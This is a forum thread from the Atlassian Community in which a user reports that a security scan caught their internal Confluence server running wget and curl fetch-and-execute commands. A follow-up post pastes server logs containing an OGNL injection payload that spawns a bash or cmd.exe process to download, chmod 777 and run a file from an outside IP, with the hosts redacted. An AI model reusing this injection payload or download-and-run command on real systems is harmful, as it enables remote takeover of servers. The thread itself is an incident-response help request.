Showing results for 
Search instead for 
Did you mean: 
Sign up Log in

Earn badges and make progress

You're on your way to the next level! Join the Kudos program to earn points and save your progress.

Deleted user Avatar
Deleted user

Level 1: Seed

25 / 150 points

Next: Root


1 badge earned


Participate in fun challenges

Challenges come and go, but your rewards stay with you. Do more to earn more!


Gift kudos to your peers

What goes around comes around! Share the love by gifting kudos to your peers.


Rise up in the ranks

Keep earning points to reach the top of the leaderboard. It resets every quarter so you always have a chance!


Come for the products,
stay for the community

The Atlassian Community can help you and your team get more value out of Atlassian products and practices.

Atlassian Community about banner
Community Members
Community Events
Community Groups

Curl|Wget Malware / malicious files download attempt by confluence local instance

I'm New Here
I'm New Here
Those new to the Atlassian Community have posted less than three times. Give them a warm welcome!
Apr 03, 2023

Confluence instance installed on our internal server trying to run below commands , these were flagged by our security scan . Reported as malware / malicious files from the command line. Need help to fix the problem and not allow to run any commands to avoid  security violation.



bash -c cd /tmp;wget http://<ipadddress>/ -O;curl -O http://<ipadddress>/;chmod 777;./

wget http://<ipadddress>/ -O

1 answer

0 votes
Nic Brough -Adaptavist-
Community Leader
Community Leader
Community Leaders are connectors, ambassadors, and mentors. On the online community, they serve as thought leaders, product experts, and moderators.
Apr 03, 2023

Welcome to the Atlassian Community!

Confluence does not have the ability to do that.  You'll need to identify what you have added to or configured in Confluence that might be trying to do it.

I'm New Here
I'm New Here
Those new to the Atlassian Community have posted less than three times. Give them a warm welcome!
Apr 24, 2023

Good morning Nic,


Based on recent logs we captured on  confluence application , confluence is trying to run wget  / access commands , please see below logs for reference .


Can you please guide how to fix this problem. Our security team suggested to stop application till we find a remediation as these commands trying to access external sites and we use our application internally. 



 found logs related below wget command mentioned below.
javax.servlet.forward.request_uri: /confluence/pages/createpage-entervariables.action
javax.servlet.forward.context_path: /confluence
javax.servlet.forward.servlet_path: /pages/createpage-entervariables.action
javax.servlet.forward.mapping: org.apache.catalina.core.ApplicationMapping$MappingImpl@7e723cff
javax.servlet.error.status_code: 500
com.atlassian.confluence.impl.profiling.DecoratorTimings: com.atlassian.confluence.impl.profiling.DecoratorTimings@67173194
com.opensymphony.sitemesh.APPLIED_ONCE: true
__cleanup_recursion_counter: 0
com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__: true
com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered: true
atlassian.core.seraph.original.url: /500page.jsp
com.atlassian.labs.botkiller.BotKillerFilter: true
com.atlassian.gzipfilter.GzipFilter_already_filtered: true
Confluence-Request-Time: 1680287306831
com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered: true TLSv1.2
javax.servlet.request.key_size: 256
webwork.valueStack: com.opensymphony.xwork.util.OgnlValueStack@6076f7cd
confluence.themecontext: com.atlassian.confluence.themes.ThemeContext@271bc372
javax.servlet.error.servlet_name: action
javax.servlet.request.cipher_suite: ECDHE-RSA-AES256-GCM-SHA384
javax.servlet.request.ssl_session_id: 85df84c86d0837a790a3acaf81fc6d8a98928ebd6b94d06929bd679ff3c6688c
com.opensymphony.sitemesh.USINGSTREAM: false
B3-TraceId: ea8638ed64ed1c
loginfilter.already.filtered: true
javax.servlet.jsp.jspException: java.lang.IllegalArgumentException: Space key is required
javax.servlet.error.request_uri: /confluence/pages/createpage-entervariables.action
com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered: true
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter: true
javax.servlet.error.exception: java.lang.IllegalArgumentException: Space key is required
os_securityfilter_already_filtered: true
com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter: true
queryString : aaaaaaaa\u0027+{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var isWin = java.lang.System.getProperty(\\u0022).toLowerCase().contains(\u0022win\u0022); var cmd = new java.lang.String(\u0022cd /tmp;wget -O;curl -O;chmod 777;./\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\u0022cmd.exe\u0022, \u0022/c\u0022, cmd); } else{p.command(\u0022bash\u0022, \u0022-c\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new; var bufferedReader = new; var line = \u0022\u0022; var output = \u0022\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\u0027)}+\u0027
caused by: java.lang.IllegalArgumentException: Space key is required
at org.springframework.util.Assert.isTrue(

Suggest an answer

Log in or Sign up to answer
AUG Leaders

Atlassian Community Events